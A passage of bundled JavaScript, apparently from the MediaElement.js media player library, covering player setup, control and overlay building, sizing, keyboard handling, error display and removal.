'_setDefaultPlayer', value: function _setDefaultPlayer() { var t = this; if (t.proxy) { t.proxy.pause(); } t.proxy = new _default2.default(t); t.media.addEventListener('loadedmetadata', function () { if (t.getCurrentTime() > 0 && t.currentMediaTime > 0) { t.setCurrentTime(t.currentMediaTime); if (!_constants.IS_IOS && !_constants.IS_ANDROID) { t.play(); } } }); } }, { key: '_meReady', value: function _meReady(media, domNode) { var t = this, autoplayAttr = domNode.getAttribute('autoplay'), autoplay = !(autoplayAttr === undefined || autoplayAttr === null || autoplayAttr === 'false'), isNative = media.rendererName !== null && /(native|html5)/i.test(media.rendererName); if (t.getElement(t.controls)) { t.enableControls(); } if (t.getElement(t.container) && t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-play')) { t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-play').style.display = ''; } if (t.created) { return; } t.created = true; t.media = media; t.domNode = domNode; if (!(_constants.IS_ANDROID && t.options.AndroidUseNativeControls) && !(_constants.IS_IPAD && t.options.iPadUseNativeControls) && !(_constants.IS_IPHONE && t.options.iPhoneUseNativeControls)) { if (!t.isVideo && !t.options.features.length && !t.options.useDefaultControls) { if (autoplay && isNative) { t.play(); } if (t.options.success) { if (typeof t.options.success === 'string') { _window2.default[t.options.success](t.media, t.domNode, t); } else { t.options.success(t.media, t.domNode, t); } } return; } t.featurePosition = {}; t._setDefaultPlayer(); t.buildposter(t, t.getElement(t.controls), t.getElement(t.layers), t.media); t.buildkeyboard(t, t.getElement(t.controls), t.getElement(t.layers), t.media); t.buildoverlays(t, t.getElement(t.controls), t.getElement(t.layers), t.media); if (t.options.useDefaultControls) { var defaultControls = ['playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen']; t.options.features = defaultControls.concat(t.options.features.filter(function (item) { return defaultControls.indexOf(item) === -1; })); } t.buildfeatures(t, t.getElement(t.controls), t.getElement(t.layers), t.media); var event = (0, _general.createEvent)('controlsready', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); t.setPlayerSize(t.width, t.height); t.setControlsSize(); if (t.isVideo) { t.clickToPlayPauseCallback = function () { if (t.options.clickToPlayPause) { var button = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-button'), pressed = button.getAttribute('aria-pressed'); if (t.paused && pressed) { t.pause(); } else if (t.paused) { t.play(); } else { t.pause(); } button.setAttribute('aria-pressed', !pressed); t.getElement(t.container).focus(); } }; t.createIframeLayer(); t.media.addEventListener('click', t.clickToPlayPauseCallback); if ((_constants.IS_ANDROID || _constants.IS_IOS) && !t.options.alwaysShowControls) { t.node.addEventListener('touchstart', function () { if (t.controlsAreVisible) { t.hideControls(false); } else { if (t.controlsEnabled) { t.showControls(false); } } }, _constants.SUPPORT_PASSIVE_EVENT ? { passive: true } : false); } else { t.getElement(t.container).addEventListener('mouseenter', function () { if (t.controlsEnabled) { if (!t.options.alwaysShowControls) { t.killControlsTimer('enter'); t.showControls(); t.startControlsTimer(t.options.controlsTimeoutMouseEnter); } } }); t.getElement(t.container).addEventListener('mousemove', function () { if (t.controlsEnabled) { if (!t.controlsAreVisible) { t.showControls(); } if (!t.options.alwaysShowControls) { t.startControlsTimer(t.options.controlsTimeoutMouseEnter); } } }); t.getElement(t.container).addEventListener('mouseleave', function () { if (t.controlsEnabled) { if (!t.paused && !t.options.alwaysShowControls) { t.startControlsTimer(t.options.controlsTimeoutMouseLeave); } } }); } if (t.options.hideVideoControlsOnLoad) { t.hideControls(false); } if (t.options.enableAutosize) { t.media.addEventListener('loadedmetadata', function (e) { var target = e !== undefined ? e.detail.target || e.target : t.media; if (t.options.videoHeight <= 0 && !t.domNode.getAttribute('height') && !t.domNode.style.height && target !== null && !isNaN(target.videoHeight)) { t.setPlayerSize(target.videoWidth, target.videoHeight); t.setControlsSize(); t.media.setSize(target.videoWidth, target.videoHeight); } }); } } t.media.addEventListener('play', function () { t.hasFocus = true; for (var playerIndex in _mejs2.default.players) { if (_mejs2.default.players.hasOwnProperty(playerIndex)) { var p = _mejs2.default.players[playerIndex]; if (p.id !== t.id && t.options.pauseOtherPlayers && !p.paused && !p.ended && p.options.ignorePauseOtherPlayersOption !== true) { p.pause(); p.hasFocus = false; } } } if (!(_constants.IS_ANDROID || _constants.IS_IOS) && !t.options.alwaysShowControls && t.isVideo) { t.hideControls(); } }); t.media.addEventListener('ended', function () { if (t.options.autoRewind) { try { t.setCurrentTime(0); setTimeout(function () { var loadingElement = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-loading'); if (loadingElement && loadingElement.parentNode) { loadingElement.parentNode.style.display = 'none'; } }, 20); } catch (exp) { } } if (typeof t.media.renderer.stop === 'function') { t.media.renderer.stop(); } else { t.pause(); } if (t.setProgressRail) { t.setProgressRail(); } if (t.setCurrentRail) { t.setCurrentRail(); } if (t.options.loop) { t.play(); } else if (!t.options.alwaysShowControls && t.controlsEnabled) { t.showControls(); } }); t.media.addEventListener('loadedmetadata', function () { (0, _time.calculateTimeFormat)(t.getDuration(), t.options, t.options.framesPerSecond || 25); if (t.updateDuration) { t.updateDuration(); } if (t.updateCurrent) { t.updateCurrent(); } if (!t.isFullScreen) { t.setPlayerSize(t.width, t.height); t.setControlsSize(); } }); var duration = null; t.media.addEventListener('timeupdate', function () { if (!isNaN(t.getDuration()) && duration !== t.getDuration()) { duration = t.getDuration(); (0, _time.calculateTimeFormat)(duration, t.options, t.options.framesPerSecond || 25); if (t.updateDuration) { t.updateDuration(); } if (t.updateCurrent) { t.updateCurrent(); } t.setControlsSize(); } }); t.getElement(t.container).addEventListener('click', function (e) { dom.addClass(e.currentTarget, t.options.classPrefix + 'container-keyboard-inactive'); }); t.getElement(t.container).addEventListener('focusin', function (e) { dom.removeClass(e.currentTarget, t.options.classPrefix + 'container-keyboard-inactive'); if (t.isVideo && !_constants.IS_ANDROID && !_constants.IS_IOS && t.controlsEnabled && !t.options.alwaysShowControls) { t.killControlsTimer('enter'); t.showControls(); t.startControlsTimer(t.options.controlsTimeoutMouseEnter); } }); t.getElement(t.container).addEventListener('focusout', function (e) { setTimeout(function () { if (e.relatedTarget) { if (t.keyboardAction && !e.relatedTarget.closest('.' + t.options.classPrefix + 'container')) { t.keyboardAction = false; if (t.isVideo && !t.options.alwaysShowControls && !t.paused) { t.startControlsTimer(t.options.controlsTimeoutMouseLeave); } } } }, 0); }); setTimeout(function () { t.setPlayerSize(t.width, t.height); t.setControlsSize(); }, 0); t.globalResizeCallback = function () { if (!(t.isFullScreen || _constants.HAS_TRUE_NATIVE_FULLSCREEN && _document2.default.webkitIsFullScreen)) { t.setPlayerSize(t.width, t.height); } t.setControlsSize(); }; t.globalBind('resize', t.globalResizeCallback); } if (autoplay && isNative) { t.play(); } if (t.options.success) { if (typeof t.options.success === 'string') { _window2.default[t.options.success](t.media, t.domNode, t); } else { t.options.success(t.media, t.domNode, t); } } } }, { key: '_handleError', value: function _handleError(e, media, node) { var t = this, play = t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-play'); if (play) { play.style.display = 'none'; } if (t.options.error) { t.options.error(e, media, node); } if (t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'cannotplay')) { t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'cannotplay').remove(); } var errorContainer = _document2.default.createElement('div'); errorContainer.className = t.options.classPrefix + 'cannotplay'; errorContainer.style.width = '100%'; errorContainer.style.height = '100%'; var errorContent = typeof t.options.customError === 'function' ? t.options.customError(t.media, t.media.originalNode) : t.options.customError, imgError = ''; if (!errorContent) { var poster = t.media.originalNode.getAttribute('poster'); if (poster) { imgError = '<img src="' + poster + '" alt="' + _mejs2.default.i18n.t('mejs.download-file') + '">'; } if (e.message) { errorContent = '<p>' + e.message + '</p>'; } if (e.urls) { for (var i = 0, total = e.urls.length; i < total; i++) { var url = e.urls[i]; errorContent += '<a href="' + url.src + '" data-type="' + url.type + '"><span>' + _mejs2.default.i18n.t('mejs.download-file') + ': ' + url.src + '</span></a>'; } } } if (errorContent && t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error')) { errorContainer.innerHTML = errorContent; t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error').innerHTML = '' + imgError + errorContainer.outerHTML; t.getElement(t.layers).querySelector('.' + t.options.classPrefix + 'overlay-error').parentNode.style.display = 'block'; } if (t.controlsEnabled) { t.disableControls(); } } }, { key: 'setPlayerSize', value: function setPlayerSize(width, height) { var t = this; if (!t.options.setDimensions) { return false; } if (typeof width !== 'undefined') { t.width = width; } if (typeof height !== 'undefined') { t.height = height; } switch (t.options.stretching) { case 'fill': if (t.isVideo) { t.setFillMode(); } else { t.setDimensions(t.width, t.height); } break; case 'responsive': t.setResponsiveMode(); break; case 'none': t.setDimensions(t.width, t.height); break; default: if (t.hasFluidMode() === true) { t.setResponsiveMode(); } else { t.setDimensions(t.width, t.height); } break; } } }, { key: 'hasFluidMode', value: function hasFluidMode() { var t = this; return t.height.toString().indexOf('%') !== -1 || t.node && t.node.style.maxWidth && t.node.style.maxWidth !== 'none' && t.node.style.maxWidth !== t.width || t.node && t.node.currentStyle && t.node.currentStyle.maxWidth === '100%'; } }, { key: 'setResponsiveMode', value: function setResponsiveMode() { var t = this, parent = function () { var parentEl = void 0, el = t.getElement(t.container); while (el) { try { if (_constants.IS_FIREFOX && el.tagName.toLowerCase() === 'html' && _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null) { return _window2.default.frameElement; } else { parentEl = el.parentElement; } } catch (e) { parentEl = el.parentElement; } if (parentEl && dom.visible(parentEl)) { return parentEl; } el = parentEl; } return null; }(), parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null), nativeWidth = function () { if (t.isVideo) { if (t.node.videoWidth && t.node.videoWidth > 0) { return t.node.videoWidth; } else if (t.node.getAttribute('width')) { return t.node.getAttribute('width'); } else { return t.options.defaultVideoWidth; } } else { return t.options.defaultAudioWidth; } }(), nativeHeight = function () { if (t.isVideo) { if (t.node.videoHeight && t.node.videoHeight > 0) { return t.node.videoHeight; } else if (t.node.getAttribute('height')) { return t.node.getAttribute('height'); } else { return t.options.defaultVideoHeight; } } else { return t.options.defaultAudioHeight; } }(), aspectRatio = function () { if (!t.options.enableAutosize) { return t.initialAspectRatio; } var ratio = 1; if (!t.isVideo) { return ratio; } if (t.node.videoWidth && t.node.videoWidth > 0 && t.node.videoHeight && t.node.videoHeight > 0) { ratio = t.height >= t.width ? t.node.videoWidth / t.node.videoHeight : t.node.videoHeight / t.node.videoWidth; } else { ratio = t.initialAspectRatio; } if (isNaN(ratio) || ratio < 0.01 || ratio > 100) { ratio = 1; } return ratio; }(), parentHeight = parseFloat(parentStyles.height); var newHeight = void 0, parentWidth = parseFloat(parentStyles.width); if (t.isVideo) { if (t.height === '100%') { newHeight = parseFloat(parentWidth * nativeHeight / nativeWidth, 10); } else { newHeight = t.height >= t.width ? parseFloat(parentWidth / aspectRatio, 10) : parseFloat(parentWidth * aspectRatio, 10); } } else { newHeight = nativeHeight; } if (isNaN(newHeight)) { newHeight = parentHeight; } if (t.getElement(t.container).parentNode.length > 0 && t.getElement(t.container).parentNode.tagName.toLowerCase() === 'body') { parentWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth; newHeight = _window2.default.innerHeight || _document2.default.documentElement.clientHeight || _document2.default.body.clientHeight; } if (newHeight && parentWidth) { t.getElement(t.container).style.width = parentWidth + 'px'; t.getElement(t.container).style.height = newHeight + 'px'; t.node.style.width = '100%'; t.node.style.height = '100%'; if (t.isVideo && t.media.setSize) { t.media.setSize(parentWidth, newHeight); } var layerChildren = t.getElement(t.layers).children; for (var i = 0, total = layerChildren.length; i < total; i++) { layerChildren[i].style.width = '100%'; layerChildren[i].style.height = '100%'; } } } }, { key: 'setFillMode', value: function setFillMode() { var t = this; var isIframe = _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null; var parent = function () { var parentEl = void 0, el = t.getElement(t.container); while (el) { try { if (_constants.IS_FIREFOX && el.tagName.toLowerCase() === 'html' && _window2.default.self !== _window2.default.top && _window2.default.frameElement !== null) { return _window2.default.frameElement; } else { parentEl = el.parentElement; } } catch (e) { parentEl = el.parentElement; } if (parentEl && dom.visible(parentEl)) { return parentEl; } el = parentEl; } return null; }(); var parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null); if (t.node.style.height !== 'none' && t.node.style.height !== t.height) { t.node.style.height = 'auto'; } if (t.node.style.maxWidth !== 'none' && t.node.style.maxWidth !== t.width) { t.node.style.maxWidth = 'none'; } if (t.node.style.maxHeight !== 'none' && t.node.style.maxHeight !== t.height) { t.node.style.maxHeight = 'none'; } if (t.node.currentStyle) { if (t.node.currentStyle.height === '100%') { t.node.currentStyle.height = 'auto'; } if (t.node.currentStyle.maxWidth === '100%') { t.node.currentStyle.maxWidth = 'none'; } if (t.node.currentStyle.maxHeight === '100%') { t.node.currentStyle.maxHeight = 'none'; } } if (!isIframe && !parseFloat(parentStyles.width)) { parent.style.width = t.media.offsetWidth + 'px'; } if (!isIframe && !parseFloat(parentStyles.height)) { parent.style.height = t.media.offsetHeight + 'px'; } parentStyles = getComputedStyle(parent); var parentWidth = parseFloat(parentStyles.width), parentHeight = parseFloat(parentStyles.height); t.setDimensions('100%', '100%'); var poster = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster>img'); if (poster) { poster.style.display = ''; } var targetElement = t.getElement(t.container).querySelectorAll('object, embed, iframe, video'), initHeight = t.height, initWidth = t.width, scaleX1 = parentWidth, scaleY1 = initHeight * parentWidth / initWidth, scaleX2 = initWidth * parentHeight / initHeight, scaleY2 = parentHeight, bScaleOnWidth = scaleX2 > parentWidth === false, finalWidth = bScaleOnWidth ? Math.floor(scaleX1) : Math.floor(scaleX2), finalHeight = bScaleOnWidth ? Math.floor(scaleY1) : Math.floor(scaleY2), width = bScaleOnWidth ? parentWidth + 'px' : finalWidth + 'px', height = bScaleOnWidth ? finalHeight + 'px' : parentHeight + 'px'; for (var i = 0, total = targetElement.length; i < total; i++) { targetElement[i].style.height = height; targetElement[i].style.width = width; if (t.media.setSize) { t.media.setSize(width, height); } targetElement[i].style.marginLeft = Math.floor((parentWidth - finalWidth) / 2) + 'px'; targetElement[i].style.marginTop = 0; } } }, { key: 'setDimensions', value: function setDimensions(width, height) { var t = this; width = (0, _general.isString)(width) && width.indexOf('%') > -1 ? width : parseFloat(width) + 'px'; height = (0, _general.isString)(height) && height.indexOf('%') > -1 ? height : parseFloat(height) + 'px'; t.getElement(t.container).style.width = width; t.getElement(t.container).style.height = height; var layers = t.getElement(t.layers).children; for (var i = 0, total = layers.length; i < total; i++) { layers[i].style.width = width; layers[i].style.height = height; } } }, { key: 'setControlsSize', value: function setControlsSize() { var t = this; if (!dom.visible(t.getElement(t.container))) { return; } if (t.rail && dom.visible(t.rail)) { var totalStyles = t.total ? getComputedStyle(t.total, null) : null, totalMargin = totalStyles ? parseFloat(totalStyles.marginLeft) + parseFloat(totalStyles.marginRight) : 0, railStyles = getComputedStyle(t.rail), railMargin = parseFloat(railStyles.marginLeft) + parseFloat(railStyles.marginRight); var siblingsWidth = 0; var siblings = dom.siblings(t.rail, function (el) { return el !== t.rail; }), total = siblings.length; for (var i = 0; i < total; i++) { siblingsWidth += siblings[i].offsetWidth; } siblingsWidth += totalMargin + (totalMargin === 0 ? railMargin * 2 : railMargin) + 1; t.getElement(t.container).style.minWidth = siblingsWidth + 'px'; var event = (0, _general.createEvent)('controlsresize', t.getElement(t.container)); t.getElement(t.container).dispatchEvent(event); } else { var children = t.getElement(t.controls).children; var minWidth = 0; for (var _i = 0, _total = children.length; _i < _total; _i++) { minWidth += children[_i].offsetWidth; } t.getElement(t.container).style.minWidth = minWidth + 'px'; } } }, { key: 'addControlElement', value: function addControlElement(element, key) { var t = this; if (t.featurePosition[key] !== undefined) { var child = t.getElement(t.controls).children[t.featurePosition[key] - 1]; child.parentNode.insertBefore(element, child.nextSibling); } else { t.getElement(t.controls).appendChild(element); var children = t.getElement(t.controls).children; for (var i = 0, total = children.length; i < total; i++) { if (element === children[i]) { t.featurePosition[key] = i; break; } } } } }, { key: 'createIframeLayer', value: function createIframeLayer() { var t = this; if (t.isVideo && t.media.rendererName !== null && t.media.rendererName.indexOf('iframe') > -1 && !_document2.default.getElementById(t.media.id + '-iframe-overlay')) { var layer = _document2.default.createElement('div'), target = _document2.default.getElementById(t.media.id + '_' + t.media.rendererName); layer.id = t.media.id + '-iframe-overlay'; layer.className = t.options.classPrefix + 'iframe-overlay'; layer.addEventListener('click', function (e) { if (t.options.clickToPlayPause) { if (t.paused) { t.play(); } else { t.pause(); } e.preventDefault(); e.stopPropagation(); } }); target.parentNode.insertBefore(layer, target); } } }, { key: 'resetSize', value: function resetSize() { var t = this; setTimeout(function () { t.setPlayerSize(t.width, t.height); t.setControlsSize(); }, 50); } }, { key: 'setPoster', value: function setPoster(url) { var t = this; if (t.getElement(t.container)) { var posterDiv = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster'); if (!posterDiv) { posterDiv = _document2.default.createElement('div'); posterDiv.className = t.options.classPrefix + 'poster ' + t.options.classPrefix + 'layer'; t.getElement(t.layers).appendChild(posterDiv); } var posterImg = posterDiv.querySelector('img'); if (!posterImg && url) { posterImg = _document2.default.createElement('img'); posterImg.className = t.options.classPrefix + 'poster-img'; posterImg.width = '100%'; posterImg.height = '100%'; posterDiv.style.display = ''; posterDiv.appendChild(posterImg); } if (url) { posterImg.setAttribute('src', url); posterDiv.style.backgroundImage = 'url("' + url + '")'; posterDiv.style.display = ''; } else if (posterImg) { posterDiv.style.backgroundImage = 'none'; posterDiv.style.display = 'none'; posterImg.remove(); } else { posterDiv.style.display = 'none'; } } else if (_constants.IS_IPAD && t.options.iPadUseNativeControls || _constants.IS_IPHONE && t.options.iPhoneUseNativeControls || _constants.IS_ANDROID && t.options.AndroidUseNativeControls) { t.media.originalNode.poster = url; } } }, { key: 'changeSkin', value: function changeSkin(className) { var t = this; t.getElement(t.container).className = t.options.classPrefix + 'container ' + className; t.setPlayerSize(t.width, t.height); t.setControlsSize(); } }, { key: 'globalBind', value: function globalBind(events, callback) { var t = this, doc = t.node ? t.node.ownerDocument : _document2.default; events = (0, _general.splitEvents)(events, t.id); if (events.d) { var eventList = events.d.split(' '); for (var i = 0, total = eventList.length; i < total; i++) { eventList[i].split('.').reduce(function (part, e) { doc.addEventListener(e, callback, false); return e; }, ''); } } if (events.w) { var _eventList = events.w.split(' '); for (var _i2 = 0, _total2 = _eventList.length; _i2 < _total2; _i2++) { _eventList[_i2].split('.').reduce(function (part, e) { _window2.default.addEventListener(e, callback, false); return e; }, ''); } } } }, { key: 'globalUnbind', value: function globalUnbind(events, callback) { var t = this, doc = t.node ? t.node.ownerDocument : _document2.default; events = (0, _general.splitEvents)(events, t.id); if (events.d) { var eventList = events.d.split(' '); for (var i = 0, total = eventList.length; i < total; i++) { eventList[i].split('.').reduce(function (part, e) { doc.removeEventListener(e, callback, false); return e; }, ''); } } if (events.w) { var _eventList2 = events.w.split(' '); for (var _i3 = 0, _total3 = _eventList2.length; _i3 < _total3; _i3++) { _eventList2[_i3].split('.').reduce(function (part, e) { _window2.default.removeEventListener(e, callback, false); return e; }, ''); } } } }, { key: 'buildfeatures', value: function buildfeatures(player, controls, layers, media) { var t = this; for (var i = 0, total = t.options.features.length; i < total; i++) { var feature = t.options.features[i]; if (t['build' + feature]) { try { t['build' + feature](player, controls, layers, media); } catch (e) { console.error('error building ' + feature, e); } } } } }, { key: 'buildposter', value: function buildposter(player, controls, layers, media) { var t = this, poster = _document2.default.createElement('div'); poster.className = t.options.classPrefix + 'poster ' + t.options.classPrefix + 'layer'; layers.appendChild(poster); var posterUrl = media.originalNode.getAttribute('poster'); if (player.options.poster !== '') { if (posterUrl && _constants.IS_IOS) { media.originalNode.removeAttribute('poster'); } posterUrl = player.options.poster; } if (posterUrl) { t.setPoster(posterUrl); } else if (t.media.renderer !== null && typeof t.media.renderer.getPosterUrl === 'function') { t.setPoster(t.media.renderer.getPosterUrl()); } else { poster.style.display = 'none'; } media.addEventListener('play', function () { poster.style.display = 'none'; }); media.addEventListener('playing', function () { poster.style.display = 'none'; }); if (player.options.showPosterWhenEnded && player.options.autoRewind) { media.addEventListener('ended', function () { poster.style.display = ''; }); } media.addEventListener('error', function () { poster.style.display = 'none'; }); if (player.options.showPosterWhenPaused) { media.addEventListener('pause', function () { if (!player.ended) { poster.style.display = ''; } }); } } }, { key: 'buildoverlays', value: function buildoverlays(player, controls, layers, media) { if (!player.isVideo) { return; } var t = this, loading = _document2.default.createElement('div'), error = _document2.default.createElement('div'), bigPlay = _document2.default.createElement('div'); loading.style.display = 'none'; loading.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer'; loading.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-loading">' + ('<span class="' + t.options.classPrefix + 'overlay-loading-bg-img"></span>') + '</div>'; layers.appendChild(loading); error.style.display = 'none'; error.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer'; error.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-error"></div>'; layers.appendChild(error); bigPlay.className = t.options.classPrefix + 'overlay ' + t.options.classPrefix + 'layer ' + t.options.classPrefix + 'overlay-play'; bigPlay.innerHTML = '<div class="' + t.options.classPrefix + 'overlay-button" role="button" tabindex="0" ' + ('aria-label="' + _i18n2.default.t('mejs.play') + '" aria-pressed="false"></div>'); bigPlay.addEventListener('click', function () { if (t.options.clickToPlayPause) { var button = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'overlay-button'), pressed = button.getAttribute('aria-pressed'); if (t.paused) { t.play(); } else { t.pause(); } button.setAttribute('aria-pressed', !!pressed); t.getElement(t.container).focus(); } }); bigPlay.addEventListener('keydown', function (e) { var keyPressed = e.keyCode || e.which || 0; if (keyPressed === 13 || _constants.IS_FIREFOX && keyPressed === 32) { var event = (0, _general.createEvent)('click', bigPlay); bigPlay.dispatchEvent(event); return false; } }); layers.appendChild(bigPlay); if (t.media.rendererName !== null && (/(youtube|facebook)/i.test(t.media.rendererName) && !(t.media.originalNode.getAttribute('poster') || player.options.poster || typeof t.media.renderer.getPosterUrl === 'function' && t.media.renderer.getPosterUrl()) || _constants.IS_STOCK_ANDROID || t.media.originalNode.getAttribute('autoplay'))) { bigPlay.style.display = 'none'; } var hasError = false; media.addEventListener('play', function () { bigPlay.style.display = 'none'; loading.style.display = 'none'; error.style.display = 'none'; hasError = false; }); media.addEventListener('playing', function () { bigPlay.style.display = 'none'; loading.style.display = 'none'; error.style.display = 'none'; hasError = false; }); media.addEventListener('seeking', function () { bigPlay.style.display = 'none'; loading.style.display = ''; hasError = false; }); media.addEventListener('seeked', function () { bigPlay.style.display = t.paused && !_constants.IS_STOCK_ANDROID ? '' : 'none'; loading.style.display = 'none'; hasError = false; }); media.addEventListener('pause', function () { loading.style.display = 'none'; if (!_constants.IS_STOCK_ANDROID && !hasError) { bigPlay.style.display = ''; } hasError = false; }); media.addEventListener('waiting', function () { loading.style.display = ''; hasError = false; }); media.addEventListener('loadeddata', function () { loading.style.display = ''; if (_constants.IS_ANDROID) { media.canplayTimeout = setTimeout(function () { if (_document2.default.createEvent) { var evt = _document2.default.createEvent('HTMLEvents'); evt.initEvent('canplay', true, true); return media.dispatchEvent(evt); } }, 300); } hasError = false; }); media.addEventListener('canplay', function () { loading.style.display = 'none'; clearTimeout(media.canplayTimeout); hasError = false; }); media.addEventListener('error', function (e) { t._handleError(e, t.media, t.node); loading.style.display = 'none'; bigPlay.style.display = 'none'; hasError = true; }); media.addEventListener('loadedmetadata', function () { if (!t.controlsEnabled) { t.enableControls(); } }); media.addEventListener('keydown', function (e) { t.onkeydown(player, media, e); hasError = false; }); } }, { key: 'buildkeyboard', value: function buildkeyboard(player, controls, layers, media) { var t = this; t.getElement(t.container).addEventListener('keydown', function () { t.keyboardAction = true; }); t.globalKeydownCallback = function (event) { var container = _document2.default.activeElement.closest('.' + t.options.classPrefix + 'container'), target = t.media.closest('.' + t.options.classPrefix + 'container'); t.hasFocus = !!(container && target && container.id === target.id); return t.onkeydown(player, media, event); }; t.globalClickCallback = function (event) { t.hasFocus = !!event.target.closest('.' + t.options.classPrefix + 'container'); }; t.globalBind('keydown', t.globalKeydownCallback); t.globalBind('click', t.globalClickCallback); } }, { key: 'onkeydown', value: function onkeydown(player, media, e) { if (player.hasFocus && player.options.enableKeyboard) { for (var i = 0, total = player.options.keyActions.length; i < total; i++) { var keyAction = player.options.keyActions[i]; for (var j = 0, jl = keyAction.keys.length; j < jl; j++) { if (e.keyCode === keyAction.keys[j]) { keyAction.action(player, media, e.keyCode, e); e.preventDefault(); e.stopPropagation(); return; } } } } return true; } }, { key: 'play', value: function play() { this.proxy.play(); } }, { key: 'pause', value: function pause() { this.proxy.pause(); } }, { key: 'load', value: function load() { this.proxy.load(); } }, { key: 'setCurrentTime', value: function setCurrentTime(time) { this.proxy.setCurrentTime(time); } }, { key: 'getCurrentTime', value: function getCurrentTime() { return this.proxy.currentTime; } }, { key: 'getDuration', value: function getDuration() { return this.proxy.duration; } }, { key: 'setVolume', value: function setVolume(volume) { this.proxy.volume = volume; } }, { key: 'getVolume', value: function getVolume() { return this.proxy.getVolume(); } }, { key: 'setMuted', value: function setMuted(value) { this.proxy.setMuted(value); } }, { key: 'setSrc', value: function setSrc(src) { if (!this.controlsEnabled) { this.enableControls(); } this.proxy.setSrc(src); } }, { key: 'getSrc', value: function getSrc() { return this.proxy.getSrc(); } }, { key: 'canPlayType', value: function canPlayType(type) { return this.proxy.canPlayType(type); } }, { key: 'remove', value: function remove() { var t = this, rendererName = t.media.rendererName, src = t.media.originalNode.src; for (var featureIndex in t.options.features) { var feature = t.options.features[featureIndex]; if (t['clean' + feature]) { try { t['clean' + feature](t, t.getElement(t.layers), t.getElement(t.controls), t.media); } catch (e) { console.error('error cleaning ' + feature, e); } } } var nativeWidth = t.node.getAttribute('width'), nativeHeight = t.node.getAttribute('height'); if (nativeWidth) { if (nativeWidth.indexOf('%') === -1) { nativeWidth = nativeWidth + 'px'; } } else { nativeWidth = 'auto'; } if (nativeHeight) { if (nativeHeight.indexOf('%') === -1) { nativeHeight = nativeHeight + 'px'; } } else { nativeHeight = 'auto'; } t.node.style.width = nativeWidth; t.node.style.height = nativeHeight; t.setPlayerSize(0, 0); if (!t.isDynamic) { (function () { t.node.setAttribute('controls', true); t.node.setAttribute('id', t.node.getAttribute('id').replace('_' + rendererName, '').replace('_from_mejs', '')); var poster = t.getElement(t.container).querySelector('.' + t.options.classPrefix + 'poster>img'); if (poster) { t.node.setAttribute('poster', poster.src); } delete t.node.autoplay; t.node.setAttribute('src', ''); if (t.media.canPlayType((0, _media.getTypeFromFile)(src)) !== '') { t.node.setAttribute('src', src); } if (rendererName && rendererName.indexOf('iframe') > -1) { var layer = _document2.default.getElementById(t.media.id + '-iframe-overlay'); layer.remove(); } var node = t.node.cloneNode(); node.style.display = ''; t.getElement(t.container).parentNode.insertBefore(node, t.getElement(t.container)); t.node.remove(); if (t.mediaFiles) { for (var i = 0, total = t.mediaFiles.length; i < total; i++) { var source = _document2.default.createElement('source'); source.setAttribute('src', t.mediaFiles[i].src); source.setAttribute('type', t.mediaFiles[i].type); node.appendChild(source); } } if (t.trackFiles) { var _loop3 = function _loop3(_i4, _total4) { var track = t.trackFiles[_i4]; var newTrack = _document2.default.createElement('track'); newTrack.kind = track.kind; newTrack.label = track.label; newTrack.srclang = track.srclang; newTrack.src = track.src; node.appendChild(newTrack); newTrack.addEventListener('load', function () { this.mode = 'showing'; node.textTracks[_i4].mode = 'showing'; }); }; for (var _i4 = 0, _total4 = t.trackFiles.length; _i4 < _total4; _i4++) { _loop3(_i4, _total4); } } delete t.node; delete t.mediaFiles; delete t.trackFiles; })(); } else { t.getElement(t.container).parentNode.insertBefore(t.node, t.getElement(t.container)); } if (t.media.renderer && typeof t.media.renderer.destroy === 'function') { t.media.renderer.destroy(); } delete _mejs2.default.players[t.id]; if (_typeof(t.getElement(t.container)) === 'object') { var offscreen = t.getElement(t.container).parentNode.querySelector('.' + t.options.classPrefix + 'offscreen'); if (offscreen) { offscreen.remove(); } t.getElement(t.container).remove(); } t.globalUnbind('resize', t.globalResizeCallback); t.globalUnbind('keydown', t.globalKeydownCallback); t.globalUnbind('click', t.globalClickCallback); delete t.media.player; } }, { key: 'paused', get: function get() { return this.proxy.paused; } }, { key: 'muted', get: function get() { return this.proxy.muted; }, set: function set(muted) { this.setMuted(muted); } }, { key: 'ended', get: function get() { return this.proxy.ended; } }, { key: 'readyState', get: function get() { return this.proxy.readyState; } }, { key: 'currentTime', set: function set(time) { this.setCurrentTime(time); }, get: function get() { return this.getCurrentTime(); } }, { key: 'duration', get: function get() { return this.getDuration(); } }, { key: 'volume', set: function set(volume) { this.setVolume(volume); }, get: function get() { return this.getVolume(); } }, { key: 'src', set: function set(src) { this.setSrc(src); }, get: function get() { return this.getSrc(); } }]); return MediaElementPlayer; }(); _window2.default.MediaElementPlayer = MediaElementPlayer; _mejs2.default.MediaElementPlayer = MediaElementPlayer; exports.default = MediaElementPlayer; },{"17":17,"2":2,"25":25,"26":26,"27":27,"28":28,"3":3,"30":30,"5":5,"6":6,"7":7}],17:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function 